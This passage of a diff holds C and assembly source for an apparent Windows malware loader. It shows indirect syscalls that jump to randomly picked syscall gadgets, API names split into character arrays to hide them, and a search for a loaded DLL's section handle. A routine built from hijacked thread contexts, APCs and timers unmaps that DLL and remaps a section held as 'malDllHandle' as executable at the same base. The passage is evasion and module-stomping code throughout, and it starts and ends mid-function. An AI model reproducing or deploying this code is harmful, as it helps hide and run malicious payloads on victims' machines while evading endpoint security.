if (!NT_SUCCESS(ntFunctions->NtCreateEvent(&DummyEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE))) {
return -1;
}
//variables and logic for SLEAPING timers
CONTEXT* context = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
CONTEXT* contextB = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
CONTEXT* contextC = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
CONTEXT* contextD = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
if (context == NULL || contextB == NULL || contextC == NULL || contextD == NULL) {
return -1;
}
context->ContextFlags = CONTEXT_ALL;
contextB->ContextFlags = CONTEXT_ALL;
contextC->ContextFlags = CONTEXT_ALL;
contextD->ContextFlags = CONTEXT_ALL;
ThreadArray[2] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WaitForSingleObjectEx, NULL, CREATE_SUSPENDED, NULL);
if (ThreadArray[2] == NULL) {
return -1;
}
if (!GetThreadContext(ThreadArray[2], contextC)) {
return -1;
}
*(ULONG_PTR*)((*contextC).Rsp) = (DWORD64)NtTestAlertAddress;
(*contextC).Rip = (DWORD64)WaitForSingleObjectEx;
(*contextC).Rcx = (DWORD64)(DummyEvent);
(*contextC).Rdx = (DWORD64)21000;
(*contextC).R8 = FALSE;
if (!SetThreadContext(ThreadArray[2], contextC)) {
return -1;
}//wait + APCs
//resume the thread that is going to wait the sleep time and then execute the APCs
if (!ResumeThread(ThreadArray[2])) {
return -1;
}
// Create a thread to control
ThreadArray[0] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)UnmapViewOfFile, NULL, CREATE_SUSPENDED, NULL);
if (ThreadArray[0] == NULL) {
return -1;
}
ThreadArray[1] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MapViewOfFileEx, NULL, CREATE_SUSPENDED, NULL);
if (ThreadArray[1] == NULL) {
return -1;
}
ThreadArray[3] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MapViewOfFileEx, NULL, CREATE_SUSPENDED, NULL);
if (ThreadArray[3] == NULL) {
return -1;
}
if(!GetThreadContext(ThreadArray[0], context))
return -1;
if(!GetThreadContext(ThreadArray[1], contextB))
return -1;
if(!GetThreadContext(ThreadArray[3], contextD))
return -1;
//timer triggered
*(ULONG_PTR*)((*context).Rsp) = (DWORD64)ExitThread;
(*context).Rip = (DWORD64)UnmapViewOfFile;
(*context).Rcx = (DWORD64)(ImageBaseDLL);
*(ULONG_PTR*)((*contextB).Rsp) = (DWORD64)ExitThread;
(*contextB).Rip = (DWORD64)MapViewOfFileEx;
(*contextB).Rcx = (DWORD64)sacDllHandle;
(*contextB).Rdx = FILE_MAP_ALL_ACCESS;
(*contextB).R8 = (DWORD64)0x00;
(*contextB).R9 = (DWORD64)0x00;
*(ULONG_PTR*)((*contextB).Rsp + 40) = 0x00; //the offset must be either hex 28 or int 40
*(ULONG_PTR*)((*contextB).Rsp + 48) = (ULONG_PTR)ImageBaseDLL;
//apc triggered
*(ULONG_PTR*)((*contextD).Rsp) = (DWORD64)ExitThread;
(*contextD).Rip = (DWORD64)MapViewOfFileEx;
(*contextD).Rcx = (DWORD64)malDllHandle;
(*contextD).Rdx = FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE;
(*contextD).R8 = (DWORD64)0x00;
(*contextD).R9 = (DWORD64)0x00;
*(ULONG_PTR*)((*contextD).Rsp + 40) = 0x00; //the offset must be either hex 28 or int 40
*(ULONG_PTR*)((*contextD).Rsp + 48) = (ULONG_PTR)ImageBaseDLL;
if (!SetThreadContext(ThreadArray[0], context))
return -1;
if (!SetThreadContext(ThreadArray[1], contextB))
return -1;
if (!SetThreadContext(ThreadArray[3], contextD))
return -1;
//create the timer queue
hTimerQueue = CreateTimerQueue();
if (hTimerQueue == NULL) {
return -1;
}
//queue the APC threads to the worker thread
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(ThreadArray[2], (PPS_APC_ROUTINE)UnmapViewOfFile, ImageBaseDLL, FALSE, NULL))) {
return -1;
}
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(ThreadArray[2], (PPS_APC_ROUTINE)ResumeThread, ThreadArray[3], FALSE, NULL))) {
return -1;
}
//queueing an extra APC for exiting the main thread
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(ThreadArray[2], (PPS_APC_ROUTINE)ExitThread, NULL, FALSE, NULL))) {
return -1;
}
if (!CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)ResumeThread, ThreadArray[0], 200, 0, WT_EXECUTEINTIMERTHREAD)) {
return -1;
}//unmap
if (!CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)ResumeThread, ThreadArray[1], 300, 0, WT_EXECUTEINTIMERTHREAD)) {
return -1;
}//mapex
//wait for all the threads to finish
if (WaitForMultipleObjects(4, ThreadArray, TRUE, INFINITE) == WAIT_FAILED) {
return -1;
}
//good morning
if (hNewTimer != NULL) {
if (DeleteTimerQueueTimer(hTimerQueue, hNewTimer, NULL) == 0) {
return -1;
}
}
if (DeleteTimerQueue(hTimerQueue) == 0) {
return -1;
}
//clean up totale
if (context) VirtualFree(context, 0, MEM_RELEASE);
if (contextB) VirtualFree(contextB, 0, MEM_RELEASE);
if (contextC) VirtualFree(contextC, 0, MEM_RELEASE);
if (contextD) VirtualFree(contextD, 0, MEM_RELEASE);
if (DummyEvent) CloseHandle(DummyEvent);
return 0;
}
@@ -0,0 +1,212 @@
#pragma once
#include <Windows.h>
#include "syscalls.h"
#include "headers.h"
/*--------------------FUNCTION TO ENUMERATE SECTION HANDLES-------------*/
HANDLE FindSectionHandle(PSYSCALL_ENTRY zwFunctions, fnGetProcessId GPID) {
/*----variables-----*/
WCHAR section[] = { L'S', L'e', L'c', L't', L'i', L'o', L'n', L'\0' };
WCHAR SRH[] = { L'S',L'R',L'H',L'.',L'd',L'l',L'l',L'\0' };
SIZE_T bufferSize = 0x10000; // Initial buffer size
PVOID buffer = NULL;
NTSTATUS STATUS = 0x00;
SIZE_T viewSize = 0x00;
PVOID viewBase = NULL;
//viewSize = 1;
//first allocation
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffer, 0, &bufferSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
return FALSE;
}
//find the right size, even if i think it won't be needed due to the fact the memory allocated will be rounded to 4096
while ((STATUS = ZwQuerySystemInformation(16, buffer, bufferSize, NULL, zwFunctions[ZwQuerySystemInformationF].SSN, zwFunctions[ZwQuerySystemInformationF].sysretAddr)) == 0xc0000004) {
//free and re-allocate
if (STATUS = ZwFreeVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffer, 0, MEM_RELEASE, zwFunctions[ZwFreeVirtualMemoryF].SSN, zwFunctions[ZwFreeVirtualMemoryF].sysretAddr) == 0) {
return FALSE;
}
//reset variables
buffer = NULL;
bufferSize *= 2;
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffer, 0, &bufferSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
return FALSE;
}
}
/*----variables allocation second phase--------------*/
PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)buffer;
//
PVOID objectTypeInfoTemp = NULL;
SIZE_T objectTypeInfoSize = 0x1000;
POBJECT_TYPE_INFORMATION objectTypeInfo = NULL;
PVOID objectNameInfo = NULL;
SIZE_T objectNameInfoSize = 0x1000;
UNICODE_STRING objectName = { 0x00 };
ULONG returnLength = 0x00;
SIZE_T returnLengthS = 0x00;
PVOID buffermeminfo = NULL;
SIZE_T buffermeminfosize = 0x00;
SIZE_T returnLengthMem = 0x00;
PUNICODE_STRING memoryinfo = NULL;
//variables for string manipulation
int position = 0;
wchar_t* result = NULL;
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &objectTypeInfoTemp, 0, &objectTypeInfoSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
return FALSE;
}
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &objectNameInfo, 0, &objectNameInfoSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
return FALSE;
}
objectTypeInfo = (POBJECT_TYPE_INFORMATION)objectTypeInfoTemp;
//to retrieve mapped section information
SYSTEM_HANDLE handle = { 0x00 };
DWORD PID = GPID(((HANDLE)(LONG_PTR)-1));
for (ULONG_PTR i = 0; i < handleInfo->HandleCount; i++) {
handle = handleInfo->Handles[i];
if (handle.ProcessId == PID) {
if ((STATUS = ZwQueryObject((void*)handle.Handle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL, zwFunctions[ZwQueryObjectF].SSN, zwFunctions[ZwQueryObjectF].sysretAddr)) != 0) {
continue;
}
//check if i got an handle to a section object
if (ComprareNStringWIDE(objectTypeInfo->Name.Buffer, section, (objectTypeInfo->Name.Length / sizeof(WCHAR))) == TRUE) {
//comparing with IMAGE NOT AT BASE because that is the return value in status if i try to re-map the DLL, but it is actually mapped
if ((STATUS = ZwMapViewOfSection((void*)handle.Handle, ((HANDLE)(LONG_PTR)-1), &viewBase, NULL, NULL, NULL, &viewSize, ViewShare, 0, PAGE_READONLY, zwFunctions[ZwMapViewOfSectionF].SSN, zwFunctions[ZwMapViewOfSectionF].sysretAddr)) != 0x40000003) {
//if it actually was successfully but not for our DLL i need to clean up and continue
if (STATUS == 0) {
if (STATUS = ZwUnmapViewOfSection(((HANDLE)(LONG_PTR)-1), viewBase, zwFunctions[ZwUnmapViewOfSectionF].SSN, zwFunctions[ZwUnmapViewOfSectionF].sysretAddr) != 0) {
return FALSE;
}
}
//it always needs to be null for the ZwMapViewOfSection to work
viewBase = NULL;
continue;
}
if (viewBase != NULL) {
//here need to query the memory
buffermeminfo = NULL;
buffermeminfosize = 0x100;
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffermeminfo, 0, &buffermeminfosize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
return FALSE;
}
if (STATUS = ZwQueryVirtualMemory(((HANDLE)(LONG_PTR)-1), viewBase, MemoryMappedFilenameInformation, buffermeminfo, buffermeminfosize, &returnLengthMem, zwFunctions[ZwQueryVirtualMemoryF].SSN, zwFunctions[ZwQueryVirtualMemoryF].sysretAddr) == 0x80000005) {
//free and re-allocate
// FREE
if (STATUS = ZwFreeVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffermeminfo, 0, MEM_RELEASE, zwFunctions[ZwFreeVirtualMemoryF].SSN, zwFunctions[ZwFreeVirtualMemoryF].sysretAddr) == 0) {
return FALSE;
}
//re-allocate
buffermeminfosize = returnLengthMem;
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffermeminfo, 0, &buffermeminfosize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
return FALSE;
}
//query memory again
if (STATUS = ZwQueryVirtualMemory(((HANDLE)(LONG_PTR)-1), viewBase, MemoryMappedFilenameInformation, buffermeminfo, buffermeminfosize, &returnLengthMem, zwFunctions[ZwQueryVirtualMemoryF].SSN, zwFunctions[ZwQueryVirtualMemoryF].sysretAddr) == 0x80000005) {
return FALSE;
}
}
else if (STATUS != 0) {
//if it's not buffer overflow but actual error i unmap the dll and continue
if (STATUS = ZwUnmapViewOfSection(((HANDLE)(LONG_PTR)-1), viewBase, zwFunctions[ZwUnmapViewOfSectionF].SSN, zwFunctions[ZwUnmapViewOfSectionF].sysretAddr) != 0) {
return FALSE;
}
viewBase = NULL;
continue;
}
memoryinfo = (PUNICODE_STRING)buffermeminfo;
if (memoryinfo->Buffer != NULL) {
//if the path contains the SRH.dll
if (containsSubstringUnicode(memoryinfo->Buffer, SRH, memoryinfo->Length / sizeof(WCHAR), 8)) {
//i free the buffer memory
if (STATUS = ZwFreeVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffermeminfo, 0, MEM_RELEASE, zwFunctions[ZwFreeVirtualMemoryF].SSN, zwFunctions[ZwFreeVirtualMemoryF].sysretAddr) == 0) {
return FALSE;
}
//i unmap the section since i do not need it anymore
if (STATUS = ZwUnmapViewOfSection(((HANDLE)(LONG_PTR)-1), viewBase, zwFunctions[ZwUnmapViewOfSectionF].SSN, zwFunctions[ZwUnmapViewOfSectionF].sysretAddr) != 0) {
return FALSE;
}
// i return the handle i found
return (void*)handle.Handle;
}
}
// i haven't found any match
if (STATUS = ZwFreeVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffermeminfo, 0, MEM_RELEASE, zwFunctions[ZwFreeVirtualMemoryF].SSN, zwFunctions[ZwFreeVirtualMemoryF].sysretAddr) == 0) {
return FALSE;
}
if (STATUS = ZwUnmapViewOfSection(((HANDLE)(LONG_PTR)-1), viewBase, zwFunctions[ZwUnmapViewOfSectionF].SSN, zwFunctions[ZwUnmapViewOfSectionF].sysretAddr) != 0) {
// MB(NULL, msg, msg, MB_OK | MB_ICONINFORMATION);//1
return FALSE;
}
}
}
}
}
}
@@ -0,0 +1,79 @@
; bello code for syscall
.data
; i do not think data is needer here
.code
ZwAllocateVirtualMemory PROC
mov r10, rcx
mov eax, dword ptr [rsp + 56]
jmp qword ptr [rsp + 64]
ZwAllocateVirtualMemory ENDP
ZwProtectVirtualMemory PROC
mov r10,rcx
mov eax, dword ptr [rsp + 48]
jmp qword ptr [rsp + 56]
ZwProtectVirtualMemory ENDP
ZwFlushInstructionCache PROC
mov r10,rcx
mov rax, r9
jmp qword ptr [rsp + 40]
ZwFlushInstructionCache ENDP
ZwCreateSection PROC
mov r10,rcx
mov eax, dword ptr [rsp + 64]
jmp qword ptr [rsp + 72]
ZwCreateSection ENDP
ZwMapViewOfSection PROC
mov r10,rcx
mov eax, dword ptr [rsp + 88]
jmp qword ptr [rsp + 96]
ZwMapViewOfSection ENDP
ZwUnmapViewOfSection PROC
mov r10,rcx
mov eax, r8d
jmp r9
ZwUnmapViewOfSection ENDP
ZwQuerySystemInformation PROC
mov r10,rcx
mov eax, dword ptr [rsp + 40]
jmp qword ptr [rsp + 48]
ZwQuerySystemInformation ENDP
ZwQueryObject PROC
mov r10,rcx
mov eax, dword ptr [rsp + 48]
jmp qword ptr [rsp + 56]
ZwQueryObject ENDP
ZwQueryVirtualMemory PROC
mov r10, rcx
mov eax, dword ptr [rsp + 56]
jmp qword ptr [rsp + 64]
ZwQueryVirtualMemory ENDP
ZwFreeVirtualMemory PROC
mov r10,rcx
mov eax, dword ptr [rsp + 40]
jmp qword ptr [rsp + 48]
ZwFreeVirtualMemory ENDP
ZwSetContextThread PROC
mov r10,rcx
mov eax, r8d
jmp r9
ZwSetContextThread ENDP
ZwGetContextThread PROC
mov r10,rcx
mov eax, r8d
jmp r9
ZwGetContextThread ENDP
end
@@ -0,0 +1,375 @@
#pragma once
#include <Windows.h>
#include "headers.h"
#include "misc.h"
EXTERN_C NTSTATUS ZwAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect,
IN DWORD ssn,
IN PBYTE syscallret);
EXTERN_C NTSTATUS ZwProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect,
IN DWORD ssn,
IN PBYTE syscallret);
EXTERN_C NTSTATUS ZwFlushInstructionCache(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN ULONG NumberOfBytesToFlush,
IN DWORD ssn,
IN PBYTE syscallret);
EXTERN_C NTSTATUS ZwCreateSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PLARGE_INTEGER MaximumSize,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle,
IN DWORD ssn, //8
IN PBYTE syscallret //9
);
EXTERN_C NTSTATUS ZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN SIZE_T ZeroBits,
IN SIZE_T CommitSize,
IN OUT PLARGE_INTEGER SectionOffset,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect,
IN DWORD ssn, //11
IN PBYTE syscallret //12
);
EXTERN_C NTSTATUS ZwUnmapViewOfSection(
IN HANDLE ProcessHandle, //RCX
IN PVOID BaseAddress, //RDX
IN DWORD ssn, //R8
IN PBYTE syscallret); //R9
EXTERN_C NTSTATUS ZwQuerySystemInformation(
IN ULONG SystemInformationClass, //RCX
OUT PVOID SystemInformation, //RDX
IN ULONG SystemInformationLength, //R8
OUT PULONG ReturnLength, //R9
IN DWORD ssn, //RSP + 40
IN PBYTE syscallret //RSP + 48
);
EXTERN_C NTSTATUS ZwQueryObject(
IN HANDLE Handle,
IN ULONG ObjectInformationClass,
OUT PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT PULONG ReturnLength,
IN DWORD ssn,
IN PBYTE syscallret);
EXTERN_C NTSTATUS ZwQueryVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
OUT PVOID MemoryInformation,
IN SIZE_T MemoryInformationLength,
OUT PSIZE_T ReturnLength,
IN DWORD ssn,
IN PBYTE syscallret
);
EXTERN_C NTSTATUS ZwFreeVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG FreeType,
IN DWORD ssn, //RSP + 40
IN PBYTE syscallret //RSP + 48
);
EXTERN_C NTSTATUS ZwSetContextThread(
IN HANDLE ThreadHandle,
OUT PCONTEXT Context,
IN DWORD ssn,
IN PBYTE syscallret
);
EXTERN_C NTSTATUS ZwGetContextThread(
IN HANDLE ThreadHandle,
OUT PCONTEXT Context,
IN DWORD ssn,
IN PBYTE syscallret
);
/*-----------------RANDOMNESS--------------------------*/
int generateRandomFromAddress(ULONG_PTR ptr) {
uintptr_t address = (uintptr_t)ptr;
// Extract lower bits from the address and scale to fit the range 1-480
int randomNumber = ((address >> 3) & 0xFFFFF) % 400 + 1;
return randomNumber;
}
//retrieve syscall instructions address
PBYTE retrieveSCAddr(PBYTE funcStar) {
int emergencybreak = 0;
while (emergencybreak < 2048) {
//taking into account indianess crazyness
if (funcStar[0] == 0x0f && funcStar[1] == 0x05 && funcStar[2] == 0xc3) {
return funcStar;
}
funcStar++;
emergencybreak++;
}
return NULL;
}
/*------------------FIND ZW FUNCTIONS------------------*/
void RetrieveZwFunctions(IN HMODULE hModule, IN PSYSCALL_ENTRY syscalls) {
PBYTE pBase = (PBYTE)hModule;
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return;
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
//variables for syscall
CHAR zw[] = { 'Z','w' };
CHAR ZwAllocateVirtualMemory[] = { 'Z', 'w', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
CHAR ZwProtectVirtualMemory[] = { 'Z', 'w', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
CHAR ZwFlushInstructionCache[] = { 'Z','w','F','l','u','s','h','I','n','s','t','r','u','c','t','i','o','n','C','a','c','h','e','\0' };
CHAR ZwCreateSection[] = { 'Z', 'w', 'C', 'r', 'e', 'a', 't', 'e', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
CHAR ZwMapViewOfSection[] = { 'Z', 'w', 'M', 'a', 'p', 'V', 'i', 'e', 'w', 'O', 'f', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
CHAR ZwUnmapViewOfSection[] = { 'Z', 'w', 'U', 'n', 'm', 'a', 'p', 'V', 'i', 'e', 'w', 'O', 'f', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
CHAR ZwQuerySystemInformation[] = { 'Z', 'w', 'Q', 'u', 'e', 'r', 'y', 'S', 'y', 's', 't', 'e', 'm', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', '\0' };
CHAR ZwQueryObject[] = { 'Z', 'w', 'Q', 'u', 'e', 'r', 'y', 'O', 'b', 'j', 'e', 'c', 't', '\0' };
CHAR ZwQueryVirtualMemory[] = { 'Z', 'w', 'Q', 'u', 'e', 'r', 'y', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
CHAR ZwFreeVirtualMemory[] = { 'Z', 'w', 'F', 'r', 'e', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
CHAR ZwSetContextThread[] = { 'Z', 'w', 'S', 'e', 't', 'C', 'o', 'n', 't', 'e', 'x', 't', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
CHAR ZwGetContextThread[] = { 'Z', 'w', 'G', 'e', 't', 'C', 'o', 'n', 't', 'e', 'x', 't', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
int zwCounter = 0;
int syscallEntries = 0;
DWORD syscallHalf[500] = { 0 };
PBYTE functionAddress = NULL;
uintptr_t addressValue = 0;
DWORD baseAddress = 0x0;
DWORD temp = 0x0;
// looping through all the exported functions
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
// getting the name of the function
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
// searching for the function specified
if (CompareNStringASCII(zw, pFunctionName, 2)) {
functionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
//here i have to fill the struct with function names, address of syscall/ret and ssn
addressValue = (uintptr_t)functionAddress;
syscallHalf[zwCounter] = (DWORD)(addressValue & 0xFFFFFFFF);
zwCounter++;
//what i still need to do is to retrieve the syscall instruction to jump to
if (CompareStringASCII(ZwAllocateVirtualMemory, pFunctionName)) {
syscalls[0].funcAddr = (FARPROC)functionAddress;
syscalls[0].sysretAddr = NULL;
syscalls[0].SSN = 0;
syscallEntries++;
}
if (CompareStringASCII(ZwProtectVirtualMemory, pFunctionName)) {
syscalls[1].funcAddr = (FARPROC)functionAddress;
syscalls[1].sysretAddr = NULL;
syscalls[1].SSN = 0;
syscallEntries++;
}
if (CompareStringASCII(ZwFlushInstructionCache, pFunctionName)) {
syscalls[2].funcAddr = (FARPROC)functionAddress;
syscalls[2].sysretAddr = NULL;
syscalls[2].SSN = 0;
syscallEntries++;
}
if (CompareStringASCII(ZwCreateSection, pFunctionName)) {
syscalls[3].funcAddr = (FARPROC)functionAddress;
syscalls[3].sysretAddr = NULL;
syscalls[3].SSN = 0;
syscallEntries++;
}
if (CompareStringASCII(ZwMapViewOfSection, pFunctionName)) {
syscalls[4].funcAddr = (FARPROC)functionAddress;
syscalls[4].sysretAddr = NULL;
syscalls[4].SSN = 0;
syscallEntries++;
}
if (CompareStringASCII(ZwUnmapViewOfSection, pFunctionName)) {
syscalls[5].funcAddr = (FARPROC)functionAddress;
syscalls[5].sysretAddr = NULL;
syscalls[5].SSN = 0;
syscallEntries++;
}
if (CompareStringASCII(ZwQuerySystemInformation, pFunctionName)) {
syscalls[6].funcAddr = (FARPROC)functionAddress;
syscalls[6].sysretAddr = NULL;
syscalls[6].SSN = 0;
syscallEntries++;
}
if (CompareStringASCII(ZwQueryObject, pFunctionName)) {
syscalls[7].funcAddr = (FARPROC)functionAddress;
syscalls[7].sysretAddr = NULL;
syscalls[7].SSN = 0;
syscallEntries++;
}
if (CompareStringASCII(ZwQueryVirtualMemory, pFunctionName)) {
syscalls[8].funcAddr = (FARPROC)functionAddress;
syscalls[8].sysretAddr = NULL;
syscalls[8].SSN = 0;
syscallEntries++;
}
if (CompareStringASCII(ZwFreeVirtualMemory, pFunctionName)) {
syscalls[9].funcAddr = (FARPROC)functionAddress;
syscalls[9].sysretAddr = NULL;
syscalls[9].SSN = 0;
syscallEntries++;
}
if (CompareStringASCII(ZwSetContextThread, pFunctionName)) {
syscalls[10].funcAddr = (FARPROC)functionAddress;
syscalls[10].sysretAddr = NULL;
syscalls[10].SSN = 0;
syscallEntries++;
}
if (CompareStringASCII(ZwGetContextThread, pFunctionName)) {
syscalls[11].funcAddr = (FARPROC)functionAddress;
syscalls[11].sysretAddr = NULL;
syscalls[11].SSN = 0;
syscallEntries++;
}
}
}
//this base address i need only once
baseAddress = (DWORD)(addressValue >> 32);
//bubble sort really slow sorting
for (int i = 0; i < zwCounter; i++) {
for (int j = 0; j < zwCounter - 1 - i; j++) {
if (syscallHalf[j] > syscallHalf[j + 1]) {
temp = syscallHalf[j + 1];
syscallHalf[j + 1] = syscallHalf[j];
syscallHalf[j] = temp;
}
}
}
//i can put the base address at the end
syscallHalf[zwCounter++] = baseAddress;
//here i can go through the list of the half-addresses that i have and pick two
//random syscall/ret
ULONG_PTR currentAddress = (ULONG_PTR)&RetrieveZwFunctions;
while (syscalls[0].sysretAddr == NULL || syscalls[1].sysretAddr == NULL || syscalls[2].sysretAddr == NULL || syscalls[3].sysretAddr == NULL || syscalls[4].sysretAddr == NULL || syscalls[5].sysretAddr == NULL || syscalls[6].sysretAddr == NULL || syscalls[7].sysretAddr == NULL || syscalls[8].sysretAddr == NULL || syscalls[9].sysretAddr == NULL || syscalls[10].sysretAddr == NULL || syscalls[11].sysretAddr == NULL) {
syscalls[0].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
currentAddress = currentAddress + 46;
syscalls[1].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
currentAddress = currentAddress + 46;
syscalls[2].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
currentAddress = currentAddress + 46;
syscalls[3].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
currentAddress = currentAddress + 46;
syscalls[4].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
currentAddress = currentAddress + 46;
syscalls[5].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
currentAddress = currentAddress + 46;
syscalls[6].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
currentAddress = currentAddress + 46;
syscalls[7].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
currentAddress = currentAddress + 46;
syscalls[8].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
currentAddress = currentAddress + 46;
syscalls[9].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
currentAddress = currentAddress + 46;
syscalls[10].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
currentAddress = currentAddress + 46;
